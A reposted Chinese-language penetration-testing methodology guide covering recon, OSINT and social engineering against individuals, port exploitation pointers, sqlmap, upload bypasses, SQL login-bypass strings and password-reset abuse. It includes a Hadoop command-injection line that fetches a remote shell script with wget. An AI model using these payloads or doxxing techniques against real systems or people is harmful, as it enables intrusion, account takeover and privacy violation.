滲透測試全流程歸納總結


聲明:

本文轉載自微信公眾號:HACK學習呀。已獲得原作者授權,轉載請注明出處

原文鏈接:https://mp.weixin.qq.com/s/arl3mxwOONDOIeWNgfnG9Q


寫在開頭:

知識面,決定看到的攻擊面有多廣。

知識鏈,決定發動的殺傷鏈有多深。


0x00 信息收集

從旁觀者的角度了解整個WEB應用乃至整個目標的全貌,但是資產是收集不完的,可以邊收集,邊進行一定程度的測試。信息收集最小的粒度應是目錄

1. 目標確認

1.1 域名注冊信息

通過如下步驟確認目標所有者信息:

Whois 目標域名/主機名:whois example.com

解析目標域名/主機名的IP地址:dig +short example.com

獲取域名的詳細解析過程:dig +trace example.com

后續用於字典制作和進一步收集目標信息的基礎

獲取真實IP:

瀏覽器切換手機模式,可能是真實ip,公眾號、小程序中的資產也可能對應真實ip。

驗證是否存在CDN:

方法1:
使用各種多地 ping 的服務,查看對應 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 網站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/

方法2:
試用nslookup進行檢測,如果返回域名解析對應多個IP,那么多半是試用了CDN.
nslookup example.com

方法3:
在線工具查看是否存在CDN,可以參考以下站點:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html

繞過CDN查找網站真實IP:

1.查詢歷史DNS記錄(ip的歷史解析域名,域名的歷史解析ip)

查看 IP 與 域名綁定的歷史記錄,可能會存在使用 CDN 前的記錄,相關查詢網站有:

https://dnsdb.io/zh-cn/

https://x.threatbook.cn/

https://censys.io/ipv4?q=baidu.com

非常牛逼的IP記錄站,還能分析內鏈之類找出可能的IP地址,此外還會記錄歷史。

viewdns.info

同樣是個令站長十分蛋疼的DNS歷史記錄網站,記錄了幾年內的更改記錄。

securitytrails.com

https://site.ip138.com/

龐大的DNS歷史數據庫,可以查出幾年內網站用過的IP、機房信息等。

iphostinfo.com

注意:這個網站可以遍歷FTP、MX記錄和常見二級域名,有些站長喜歡把郵箱服務也放在自己主機上,側面泄露了真實的IP地址,通過這個網站可以進行檢查。

2.查詢子域名(捷徑,去眾測平台、github找官方發布過的)

注意:有可能有些站長只給主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服務器上,或者 C段中,這樣可以通過子域名來輔助找到網站真實IP

爆破子域名:

主動式

layer子域名挖掘機(字典要自己豐富)
http://z.zcjun.com/(在線子域名挖掘)
fuzzdomain 很好用,速度快

被動式

搜索引擎拿子域名、旁站(同IP網站)、C段:
可用搜索引擎語法查詢子域名:
谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差異

詳細用法:

(1)site: =主域名,搜索其主要域名下面的子域名
(2)allintext: = 搜索文本,但不包括網頁標題和鏈接
(3)allinlinks: = 搜索鏈接, 不包括文本和標題。
(4)related:URL = 列出於目標URL地址有關的網頁。
(5)link:URL = 列出到鏈接到目標URL的網頁清單。
(6)使用“-”去掉不想看的結果,例如site:baidu.com -image.baidu.com

百度語法:

https://www.cnblogs.com/k0xx/p/12794452.html

谷歌語法:

https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187

GHDB:

https://www.exploit-db.com/google-hacking-database
3.資產搜索(旁站\C段\特征):
https://www.shodan.io(資產相關或特征值關鍵字爆ip)
https://fofa.so
https://www.zoomeye.org/
http://www.yunsee.cn/info.html (雲悉在線資產平台)
http://subdomain.chaxun.la (查詢啦)
https://www.virustotal.com/gui/home/search
https://dnsdumpster.com/
https://duckduckgo.com (一個不會存儲你個人信息的搜索引擎)
https://crt.sh/(SSL證書查詢)
https://icp.aizhan.com/(域名備案)
4.對方服務器給自己發郵件暴露IP
5.APP客戶端爆ip

1.2 DNS信息查詢

目的:

注冊者名稱及郵箱,再反查其他域名

手機號 座機號

ASN號

地址在線DNS信息查詢工具:

https://dnsdumpster.com/
https://www.dnsdb.io (DNS搜索引擎)
http://searchdns.netcraft.com
http://whois.nawang.cn/
https://whois.aliyun.com/
https://whois.west.cn/
http://whois.chinaz.com/ (站長之家)
https://www.tianyancha.com/ (天眼查)
http://www.gsxt.gov.cn/index.html (國家企業信用信息系統)
www.beianbeian.com/ (ICP備案查詢)

1.3 測試域傳送漏洞

域傳送是一種DNS事務,用於在主從服務器間復制DNS記錄。雖然如今已經很少見主機會開啟,但是還是應該確認一下。一旦存在域傳送漏洞,就意味着你獲取了整個域下面所有的記錄。

dnsrecon -d example.com

dnsenum example.com 包含自動檢測域傳送漏洞

1.4 業務相關

github泄露:

in:name test # 倉庫標題搜索含有關鍵字 SpringCloud
in:descripton test # 倉庫描述搜索含有關鍵字
in:readme test # Readme文件搜素含有關鍵字
stars:>3000 test # stars數量大於3000的搜索關鍵字
stars:1000..3000 test # stars數量大於1000小於3000的搜索關鍵字
forks:>1000 test # forks數量大於1000的搜索關鍵字
forks:1000..3000 test # forks數量大於1000小於3000的搜索關鍵字
size:>=5000 test # 指定倉庫大於5000k(5M)的搜索關鍵字
pushed:>2019-02-12 test # 發布時間大於 2019-02-12的搜索關鍵字
created:>2019-02-12 test # 創建時間大於2019-02-12的搜索關鍵字
user:test # 用戶名搜素
license:apache-2.0 test # 明確倉庫的 LICENSE 搜索關鍵字
language:java test # 在java語言的代碼中搜索關鍵字
user:test in:name test # 組合搜索,用戶名test的標題含有test的

網盤泄露:

各種雲網盤,詳見蟲部落搜索:

magnet.chongbuluo.com

敏感路徑掃描:

https://github.com/ring04h/weakfilescan

2.OSINT 公開情報收集

2.1 社工技巧

查看注冊的網站:reg007

知道賬號去已注冊的網站找回密碼,可以看到打碼后的用戶名、郵箱、真實姓名等信息,如果運氣好沒准能從數據包或html中找到未被打碼的信息

可以從這些方面判斷用戶是否注冊過

找回密碼

輸入賬號,如果進入下一步了則該賬號存在

登錄

輸入賬號和密碼,如果提示密碼錯誤,則表示該用戶已存在

注冊

填寫賬號時一般網站會去檢測該賬號是否已存在,如果已存在則會提示不可重復注冊      

知道QQ

通過QQ郵箱和QQ號搜索支付寶、淘寶賬號等其他可能的常用平台

去騰訊\新浪微博搜索

通過微信搜索

查看QQ空間\相冊\地區\星座\生日\昵稱(后續構建字典以及跨平台搜集)

通過說說、留言、日志找到其好友

加QQ釣魚\共同好友\可能認識的人

知道手機號

搜索QQ、微信、釘釘等社交賬號

在比較火的一些APP和網站上注冊或忘記密碼來判斷是否注冊過賬號

查詢支付寶、QQ交易賬號,嘗試輸入常見姓氏獲取名字(轉賬到該手機號,會提示輸入姓氏驗證)

通過對方的職業、興趣找到該領域知名度較高的社交網站反查

根據在QQ空間、朋友圈等動態用百度識圖識別照片

在微博、ins、Twitter、fb、百度貼吧搜索相近關鍵字,按地域、年齡、男女、用戶名等篩選

留意社交動態

發布時間線

使用什么客戶端 iPhone Android還是瀏覽器

針對客戶端預先制定exploit

注意每一條鏈接 / 圖片 / 視頻鏈接可能包含用戶ID

圖片可能包含水印,exif可能會有GPS定位和手機類型,圖片內容特征

視頻也有可能有水印暴露社交賬號ID,拍攝地點

從最早發布的動態看起,會有很大收獲

一般得到一個賬號的密碼就相當於得到了其他賬號的密碼

一般人不同賬號的用戶名都是相同或相近的

一般人的社交賬號頭像用的都是一樣的

嘗試破解社保、公積金賬號、身份證號(出生地、生日、星座、派出所代碼)

蟲部落快搜之文件搜索:https://search.chongbuluo.com/

qq群、群文件、貼吧論壇、目標自用論壇等社交平台

釣魚和信息泄露(爬郵箱等信息)

電子郵件偽造、網絡釣魚

下載惡意程序

輸入敏感信息

大部分信息可以用來生成密碼字典

對人:說服對方達成一致、恐嚇對方(敏感詞、漏洞、病毒、權威機構名稱、),釣魚獲取信息

2.2 搜索引擎OSINT

Google Hacking(baidu\bing\souhu\github)

GoogleHacking常用語法:

intext:(僅針對Google有效) 把網頁中的正文內容中的某個字符作為搜索的條件
intitle:把網頁標題中的某個字符作為搜索的條件
cache:搜索搜索引擎里關於某些內容的緩存,可能會在過期內容中發現有價值的信息
filetype/ext:指定一個格式類型的文件作為搜索對象
inurl:搜索包含指定字符的URL
site:在指定的(域名)站點搜索相關內容

GoogleHacking其他語法

引號 ” ” 把關鍵字打上引號后,把引號部分作為整體來搜索
or 同時搜索兩個或更多的關鍵字
link 搜索某個網站的鏈接 link:baidu.com即返回所有和baidu做了鏈接的URL
info 查找指定站點的一些基本信息 

GoogleHackingDatabase:

google-hacking-databaseGoogleHacking典型用法(特定資產的萬能密碼也要積累)

管理后台地址

site:target.com intext:管理 | 后台 | 后台管理 | 登陸 | 登錄 | 用戶名 | 密碼 | 系統 | 賬號 | login | system
site:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:target.com intitle:管理 | 后台 | 后台管理 | 登陸 | 登錄

上傳類漏洞地址

site:target.com inurl:file
site:target.com inurl:upload

注入頁面

site:target.com inurl:php?id=
(批量注入工具、結合搜索引擎)

編輯器頁面

site:target.com inurl:ewebeditor

目錄遍歷漏洞

site:target.com intitle:index.of

SQL錯誤

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"

phpinfo()

site:target.com ext:php intitle:phpinfo "published by the PHP Group"

配置文件泄露

site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

數據庫文件泄露

site:target.com ext:.sql | .dbf | .mdb | .db    日志文件泄露
site:target.com ext:.log

備份和歷史文件泄露

site:target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公開文件泄露

site:target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

郵箱信息

site:target.com intext:@target.com
site:target.com 郵件
site:target.com email

社工信息

site:target.com intitle:賬號 | 密碼 | 工號 | 學號 | 身份證

2.3 瀏覽器實用插件:

Wappalyzer:識別網站使用的中間件及其版本,再去漏洞庫和搜索引擎找公開披露的漏洞

SwitchOmega:快捷切換代理

shodan:識別開放端口,主機服務等(被動信息搜集)

hacktools:綜合插件,很強大

firefox滲透便攜版version48,工具集成很多

注意:根據獲得服務、中間件信息、編輯器版本、數據庫等OSINT去各大漏洞庫、搜索引擎找漏洞利用

2.4 烏雲和CNVD

烏雲庫\烏雲鏡像\GHDB\CNVD等公開漏洞庫

0x01 主動探測

從管理員和用戶的角度了解整個WEB應用乃至整個目標的全貌,主動探測會暴露ip以及留下日志信息,所以要...

1.主動掃描

1.1常見服務漏洞

nmap的功能:

腳本掃描,隱蔽掃描,端口掃描,服務識別,OS識別,探測WAF

nmap腳本主要分為以下幾類,在掃描時可根據需要設置

--script=類別這種方式進行比較籠統的掃描:
--auth: 負責處理鑒權證書(繞開鑒權)的腳本
--broadcast: 在局域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務
--brute: 提供暴力破解方式,針對常見的應用如http/snmp等
--default: 使用-sC或-A選項掃描時候默認的腳本,提供基本腳本掃描能力
--discovery: 對網絡進行更多的信息,如SMB枚舉、SNMP查詢等
--dos: 用於進行拒絕服務攻擊
--exploit: 利用已知的漏洞入侵系統
--external: 利用第三方的數據庫或資源,例如進行whois解析
--fuzzer: 模糊測試的腳本,發送異常的包到目標機,探測出潛在漏洞
--intrusive: 入侵性的腳本,此類腳本可能引發對方的IDS/IPS的記錄或屏蔽
--malware: 探測目標機是否感染了病毒、開啟了后門等信息
--safe: 此類與intrusive相反,屬於安全性腳本
--version: 負責增強服務與版本掃描(Version Detection)功能的腳本
--vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.*
負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式  可對數據庫,smb,snmp等進行簡單密碼的暴力猜解
nmap --script=default192.168.137.* 或者 nmap -sC 192.168.137.*
默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊
nmap --script=vuln 192.168.137.*
檢查是否存在常見漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域網內探查更多服務開啟狀況
nmap --script external 202.103.243.110
利用第三方的數據庫或資源,例如進行whois解析
nmap --script banner ip
nmap -p port -sV ip
獲取軟件版本信息
nmap -O ip
操作系統信息,版本
nmap -A -v ip
完整信息獲取
-sN;-sF;-sX 
隱蔽掃描
  -sN是Null掃描,是通過發送非常規的TCP通信數據包進行探測
  nmap -sN 127.0.0.1
  -sF是FIN掃描,當我們使用TCP SYN掃描時可能會被目標主機的防火牆發現,會阻止SYN數據包,這時我們使用TCP FIN掃描方式會有很好的穿透效果.
  nmap -sF 127.0.0.1
掃描前1000號TCP端口
nmap 192.168.100.2
Ping掃描8個本地主機(按ARP、ICMP、TCP 80的順序)
nmap –sP 192.168.100.0-7
掃描80,443端口
nmap -p 80,443 192.168.100.2
掃描前1000號TCP端口,OS指紋,服務,然后運行一個NSE腳本
sudo nmap -A 192.168.100.2
掃描全部65535個TCP端口,OS指紋,服務,然后運行一個NSE腳本
sudo nmap –A –p- 192.168.100.2
掃描前1000號UDP端口
sudo nmap -sU 192.168.100.2
掃描所有65535個UDP端口
sudo nmap -sU –p- 192.168.100.2
掃描所有65535個UDP端口,並獲取服務、OS指紋,之后運行一些NSE腳本
sudo nmap –sU -p- -A 192.168.100.2

nmap腦圖備查:

### 1.2常見端口漏洞利用
  快速掃描:
  Masscan -p80,800 ip --rate=10000
21/ FTP
  匿名/暴力破解
  拒絕服務
22/ SSH
  暴力破解
23/ telnet 
Winbox(CVE-2018-14847)
  https://github.com/BasuCert/WinboxPoC
  弱口令 / 暴力破解
161/ snmp
  弱口令
  https://blog.csdn.net/archersaber39/article/details/78932252
389/ ladp
  匿名訪問
  https://www.cnblogs.com/persuit/p/5706432.html
  ladp注入
  http://www.4hou.com/technology/9090.html
  https://www.freebuf.com/articles/web/149059.html
443/ ssl
  openssl心臟出血
  https://paper.seebug.org/437/
  http://www.anquan.us/static/drops/papers-1381.html
  https://www.freebuf.com/sectool/33191.html
445/ smb
  win10拒絕服務
  永恆之藍RCE
875/ rsync
  匿名訪問
  http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
  https://paper.seebug.org/409/
  http://www.91ri.org/11093.html
1433/ mssql
  暴力破解
  http://www.anquan.us/static/drops/tips-12749.  html
  https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521/ oracle
  暴力破解
  https://www.exploit-db.com/exploits/33084
2601/ zebra
  http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128/ squid
3306/ mysql
  RCE
  http://www.91ri.org/17511.html
  CVE-2015-0411
  hash破解
  https://www.freebuf.com/column/153561.html
  waf繞過
  https://www.freebuf.com/articles/web/155570.html
  general_log_file getshell
  https://www.freebuf.com/column/143125.html
  提權
  http://www.91ri.org/16540.html
3312/ kangle
  getshell
  https://www.secpulse.com/archives/23927.html
3389/ rdp
  shift 放大鏡 輸入法繞過 guest用戶
  永恆之藍(ESTEEMAUDIT)
  https://www.freebuf.com/articles/system/132171.html
  https://www.anquanke.com/post/id/86328
  ms12-020
  https://blog.csdn.net/meyo_leo/article/details/77950552
4440/ rundeck
  https://www.secpulse.com/archives/29500.html
4848/ glassfish
  文件讀取
  https://www.secpulse.com/archives/42277.html
  https://www.anquanke.com/post/id/85948
  GlassFish2/ admin:admin GlassFish3,4/ 如果管理員不設置帳號本地會自動登錄,遠程訪問會提示配置錯誤
5432/ PostgreSQL
  RCE
  https://www.cnblogs.com/KevinGeorge/p/8521496.html
  https://www.secpulse.com/archives/69153.html
  默認賬號postgres
  參考
  http://www.91ri.org/13070.html
  http://www.91ri.org/6507.html
5672,15672,4369,25672/ RabbitMQ
  (guest/guest)
5900/ VNC
  https://www.seebug.org/appdir/RealVNC
5984/ CouchDB
  http://xxx:5984/_utils/
6082/ varnish
  CLI 未授權
  https://www.secpulse.com/archives/10681.html
6379/ redis  
  Redis未授權
   ssh publickey
   crontab
   webshell
   反序列化
   開機自啟文件夾寫bat
   參考
   https://www.freebuf.com/column/170710.html
7001,7002/ WebLogic
  默認弱口令
  weblogic/weblogic ,weblogic/welcom,weblogic/welcom1,weblogic1/weblogic
  反序列
  CVE-2018-2628
  https://www.freebuf.com/articles/web/169770.html
  https://www.seebug.org/appdir/WebLogic
9200,9300/ elasticsearch
  CVE-2015-1427
  http://www.anquan.us/static/drops/papers-5142.html
  CVE-2018-17246
  https://www.seebug.org/vuldb/ssvid-97730
  參考
  https://www.seebug.org/search/?keywords=elasticsearch
9000/ fcgi
  https://paper.seebug.org/289/
9043/ WebSphere
  Websphere8.5
  https://localhost:9043/ibm/console/logon.jsp
  Websphere6-7
  http://localhost:9043/ibm/console
  后台未授權,登錄后可部署WAR包
  SOAP服務有反序列化
  弱口令:admin / password
11211/ memcache
  未授權
  UDP反射
  https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018/ Mongodb
  未授權
  注入
  https://www.anquanke.com/post/id/83763
  phpMoAdmin RCE
  https://www.aqniu.com/threat-alert/6978.html
50000/ SAP
   SAP命令執行
  https://www.secpulse.com/archives/20204.html
50070,50030/ hadoop
  未授權
  https://www.freebuf.com/vuls/173638.html
  命令執行
  host:50060/pstack?pid=123|wget http://somehost/shell.sh
  https://www.seebug.org/search/?keywords=hadoop
  其他
  http://www.91ri.org/15441.html
'''

1.3 WAF及bypass

探測WAF

Nmap探測WAF有兩種腳本,

一種是http-waf-detect,一種是http-waf-fingerprint。

nmap -p port --script=http-waf-detect ip
wafw00f -a example.com
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf

bypass: 手工注入,詳見筆記

1.4 目錄、后台和敏感路徑文件掃描

御劍目錄(土司專版,筆記里有)、后台掃描(圖片屬性地址暴露),

完善目錄和賬密字典方法:

基礎字典包合並去重

dymerge.py -u
python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt

2.人工瀏覽\逐個請求burp

非常重要,有必要手動去瀏覽每個頁面,點擊頁面上每一個跳轉,這樣在Burp的sitemap里面就可以出現這些請求和響應。

圖片后台地址\圖片后面的信息

跳轉參數\奇怪的參數

泄露郵箱等社工信息

業務邏輯\架構

3.自動化

自動化滲透測試框架:(待補充)

Sn1per

Ary

自動化信息收集效率較高,從github上多找一找,也可以自己寫

0x02 漏洞挖掘

1.漏洞掃描工具

注意:登錄類網站掃描要帶cookies掃才能掃到

1.1 Nikto Web服務漏洞掃描器

Tips:利用-Format選項來導出特定格式的掃描結果,使掃描結果更容易閱讀和分析。

nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法:
1、命令:nikto -update #升級,更新插件;
2、Nikto-list-plugins #查看插件;
3、Nikto-host http://1.1.1.1 #掃描目標:域名方式;
4、Nikto-host http://1.1.1.1 -output #掃描並輸出結果
5、Nikto-host 1.1.1.1-port 80#掃描目標:ip地址加端口號
6、Nikto-host www.baidu.com -port 443-ssl #掃描https網站
7、Nikto-host 文件名.txt #批量掃描目標
8、nmap -p80 192.168.1.0/24-oG - | nikto -host -
#利用nmap掃描開放80端口的IP段並且oG(nmap結果輸出並整理)通過管道的方式
“|”用nikto進行掃描
9、nikto -host 192.168.0.1-useproxy http://localhost:8070
#利用代理進行掃描
10、-vhost
#當一個網站存在多個端口時可以使用-vhost遍歷所有網站進行掃描或一個ip對應多個網站
11、Nikto交互形參數
配置文件:
路徑:/etc/nikto.conf
UserAgent中文名為用戶代理,簡稱 UA,它是一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本;
在nikto中最好修改成別的瀏覽器user agent;
設置cookie:
在配置文件中找到cookie進行設置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val")
IDS逃避技術:
主要為了躲避IDS、IPS檢測告警-evasion #此參數使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8種:
1、隨機url編碼,
2、自選路徑,
3、過早結束的URL
4、優先考慮長隨機字符串
5、參數欺騙
6、使用TAB作為命令的分隔符,
7、使用變化的URL
8、使用Windows路徑分隔符

1.2 AWVS漏掃

這個沒什么好說的,破解版到處都是。

1.3 NESSUS

實時更新插件的漏掃,很好用,就是激活流程麻煩。

https://www.wuyini.cn/765.html

1.4 Xray自動化的漏洞挖掘

burp+xray:

BurpSuite + Xray 被動掃描配置 - Ritte - 博客園

或者直接掛瀏覽器,點到哪里,掃到哪里

xray+各種漏掃聯動

1.5 Fuzz

Fuzz可以發現應用程序中沒有被引用但是確實是可以訪問的頁面。

Discover Content是Burp中專門用於此目的的工具。

Burp Intruder也可以通過字典攻擊來實施強制瀏覽(通常是在url參數和文件路徑部分進行修改),爆破、注入等。

FuzzDB包含一些用於此目的的非常牛逼的字典。

2.挖掘漏洞

2.1 SQL注入:

初步測試:見框就上,加' " ) ))% and 1=1 and 1=2 and2-1 or ,

抓包爆破常用SQL注入payload字典,上burp intruder

純手工注入和手工繞過waf,詳見筆記。

通過搜索引擎,批量查找注入點,詳見筆記。

然后用傀儡注入點批量搜集工具

實操案例: sql注入思路(登錄界面)和網絡常用端口_u011975363的專欄-CSDN博客

超級SQL注入工具(github)

sqlmap一把梭:
注意:命令為kali linux中運行的 (windows中用python sqlmap.py執行)
注入六連:
1.sqlmap -u "http://www.xx.com?id=x"查詢是否存在注入點
2.--dbs         檢測站點包含哪些數據庫
3.--current-db    獲取當前的數據庫名
4.--tables -D "db_name"獲取指定數據庫中的表名 -D后接指定的數據庫名稱
5.--columns  -T "table_name" -D "db_name"獲取數據庫表中的字段
6.--dump -C "columns_name" -T "table_name" -D "db_name"
獲取字段的數據內容
COOKIE注入:
sqlmap -u "http://www.xx.com/xxx.asp" --cookie "id=XXX   cookie"--level 2\
cookie注入 后接cookie值
POST注入:
(1)目標地址http://www.xxx.com /login.asp
(2)打開burp代理
(3)點擊表單提交
(4)burp獲取攔截信息(post)
(5)右鍵保存文件(.txt)到指定目錄下
(6)運行sqlmap並執行如下命令:
用例:sqlmap -r okay.txt  -p  username
// -r表示加載文件(及步驟(5)保存的路徑)
-p指定參數(即攔截的post請求中表單提交的用戶名或密碼等name參數)
(7)自動獲取表單:--forms自動獲取表單
例如:sqlmap -u www.xx.com/login.asp --forms
(8)指定參數搜索:--data
例如:sqlmap -u www.xx.com/login.asp --data "username=1"
常用指令:
1.--purge      【重新掃描(--purge 刪除原先對該目標掃描的記錄)
2.--tables      【獲取表名
3.--dbs         【檢測站點包含哪些數據庫
4.--current-db    【獲取當前的數據庫名
5.--current-user  【檢測當前用戶
6.--is-dba   【判斷站點的當前用戶是否為數據庫管理員
7.--batch      【默認確認,不詢問你是否輸入
8.--search  【后面跟參數 -D -T -C 搜索列(C),表(T)和或數據庫名稱(D)
9.--threads 10【線程,sqlmap線程最高設置為10
10.--level 3【sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer
頭的值。最高為5
11.--risk 3【執行測試的風險(0-3,默認為1)risk越高,越慢但是越安全
12.-v   【詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵消息。
1:顯示信息和警告消息。
2:顯示調試消息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的內容
13.--privileges  【查看權限
14.--tamper xx.py,cc.py   【防火牆繞過,后接tamper庫中的py文件
15.--method "POST"--data "page=1&id=2"【POST方式提交數據
16.--threads number  【采用多線程 后接線程數
17.--referer  ""【使用referer欺騙
18.--user-agent ""【自定義user-agent
19.--proxy “目標地址″   【使用代理注入
sqlmap常用路徑:
1.添加表字段的目錄在/usr/share/sqlmap/txt/common-tables.txt
2.存放掃描記錄的目錄在/root/.sqlmap/output
高階玩法:
自己寫tamper.py

2.2 XSS:

xss漏洞原理分析與挖掘方法 - 知乎

https://zhuanlan.zhihu.com/p/35315167

web漏洞 | XSS(跨站攻擊腳本)詳解

https://www.cnblogs.com/wuqun/p/12484816.html

XSS匯總

http://www.nxadmin.com/penetration/810.html

XSS小結 - 先知社區

https://xz.aliyun.com/t/2936

2020跨站點腳本[xss]速查表|雨蓯

https://www.yuque.com/xiaogege-yxttw/btpqqg/lwzwei

XSSer自動化工具

https://www.freebuf.com/sectool/173228.html

XSStrike 自動化繞過WAF

https://www.uedbox.com/post/56316/

客服對話系統上XSS打cookie

2.3 文件上傳

字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

文件上傳繞過總結,詳見筆記   

目錄穿越

上傳后如果沒有被文件重命名,可以在文件名值做目錄跳轉

注意一些像目錄的參數名

dir path location url

文件頭繞過

修改上傳類型 Content-Type

雙文件上傳

截斷

長文件名
長Content-Disposition
%00截斷

特殊文件

svg / html / htm / swf
xss
pdf
chrome 里可以跳轉
cer / asa / spx / php5 / phtml

可能會被當做動態語言解析

.htaccess / .user.ini / web.config / web.xml

修改解析規則

.xls / .xlsx

POI Excel XXE

.tar / .tar.gz / .zip

可能存在文件釋放目錄跳轉問題

.pkl

python反序列化文件

.xml

可能有 XXE

.yaml / .yml

YAML 反序列化

.jar / .class

上傳到 java classpath 的目錄下,類被加載時執行代碼

無大小和次數限制

無限上傳制造垃圾數據堵死硬盤

有圖片加工的地方可以注意一下imagemagick命令執行

文件讀取

讀取系統敏感文件

文件包含

可讀取文件或代碼執行

文件刪除

刪除配置文件可破壞網站
刪除安裝鎖可重裝

文件解壓

如果上傳文件為 tar / tar.gz 類型,可以嘗試構壓縮包內文件名為../../../../xxx 的tar包

文件導出

如果是CSV 或者 Excel可以注意一下CSV注入 =2222-1 -1+1=2222-1 @=2222-1 \r\n=2222-1 111,=2222-1,

2.4 命令執行

命令注入

--xxxx 參數注入
| 和 | | 與符號
& 和 && 與符號
; 分號
${}

代碼執行

表達式
freemarker
OGNL
Spel
jsel

非表達式(php)

eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()

反序列化

php 源文件拼接寫
java
反序列化
遠程 jar 加載
反射機制
jsp 源文件拼接寫入

2.5 弱口令及字典破解

后台弱口令爆破撞庫

(嘗試萬能密碼、特定資產常用密碼、弱口令后再撞庫、有的數據庫要輸對用戶名再注釋。收集的字典https://github.com/hackerX2021

asp aspx萬能密碼
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or'1=1--
6:"or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1or'1'='1'=1
12: 1or'1'='1'or1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型萬能登陸密碼
用戶名 ' UNION Select 1,1,1 FROM admin Where ''='(替換表名admin)
密碼 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin' or 'a'='a 密碼隨便
PHP萬能密碼
'or'='or'
'or 1=1/* 字符型 GPC是否開都可以使用
User: something
Pass: ' OR '1'='1
jsp 萬能密碼
1 'or'1'='1
  admin' OR 1=1/*
用戶名:admin 系統存在這個用戶的時候 才用得上
密碼:1'or'1'='1 pydictor、cupp、crunch字典生成工具、自寫字典生成py(小黑的人名字典py);dymerge字典合並去重工具、自己寫去重py;hydra爆破工具

tips

超級弱口令檢驗工具

burpsuite 爆破

使用弱用戶名對密碼進行暴力破解

使用弱口令密碼對用戶名進行暴力破解

2.6 邏輯漏洞

Cookie

一些網站會利用 Cookie 是否為空、Session 是否為 true 來判斷用戶是否可以登錄,只要構造一個 Cookie 或 Session 為 true 就可以繞過認證登錄

通過修改 Cookie 中的某個參數來實現登錄其他用戶,要抓包具體分析

數據篡改

數量、金額、ID、郵箱等數據:最大超過限制、負數、0、其他用戶數據,提交后查看是否進入正常業務流程,是否存在越權

例子:
修改普通用戶密碼,抓包
將 Referer 和 POST 中的普通用戶改成 admin
提交數據后,直接返回了 admin 的密碼修改頁面,利用邏輯漏洞獲取超級權限
抓包修改手機號參數為其他號碼進行嘗試,例如辦理查詢頁面,輸入自己的號碼然后抓包,修改手機號為他人號碼,查看是否可以查詢他人業務
手機號 篡改
郵箱或者用戶 篡改
訂單ID 篡改
商品編號 篡改
用戶ID 篡改
金額 篡改
商品數量 篡改

驗證碼繞過

drop掉頁面

返回包里可能就有驗證碼

一次驗證碼多用

驗證碼識別插件,burp

注冊界面:

任意用戶注冊

可爆破用戶名

注入

XSS

登錄界面:

爆破用戶名、密碼

注入

萬能密碼

Xss Xss+Csrf

修改返回包信息,登入他人賬戶

修改cookie中的參數,如user,admin,id等

干貨 | 登錄點測試的Tips

忘記密碼界面:

任意密碼重置概要:

1.重置一個賬戶,不發送驗證碼,設置驗證碼為空發送請求。

2.發送驗證碼,查看相應包

3.驗證碼生存期的爆破

4.修改相應包為成功的相應包

5.手工直接跳轉到校驗成功的界面

6.兩個賬戶,重置別人密碼時,替換驗證碼為自己正確的驗證碼

7.重置別人密碼時,替換為自己的手機號

8.重置自己的成功時,同意瀏覽器重置別人的,不發驗證碼

9.替換用戶名,ID,cookie,token參數等驗證身份的參數

10.通過越權修改他人的找回信息如手機/郵箱來重置

用戶憑證暴力破解(驗證碼)

繞過的話,這里可以考慮一個現狀:

例如:
phone=18888888888abc
國內很多情況下都沒有過濾字符和限制輸出長度,驗證很有可能只是簡單的處理
只要更換手機號后面的字符,就可以繞過請求過於頻繁的限制
但是校驗時,手機號后面的字符會被過濾,也就是可以利用暴力破解驗證碼(不計入次數)
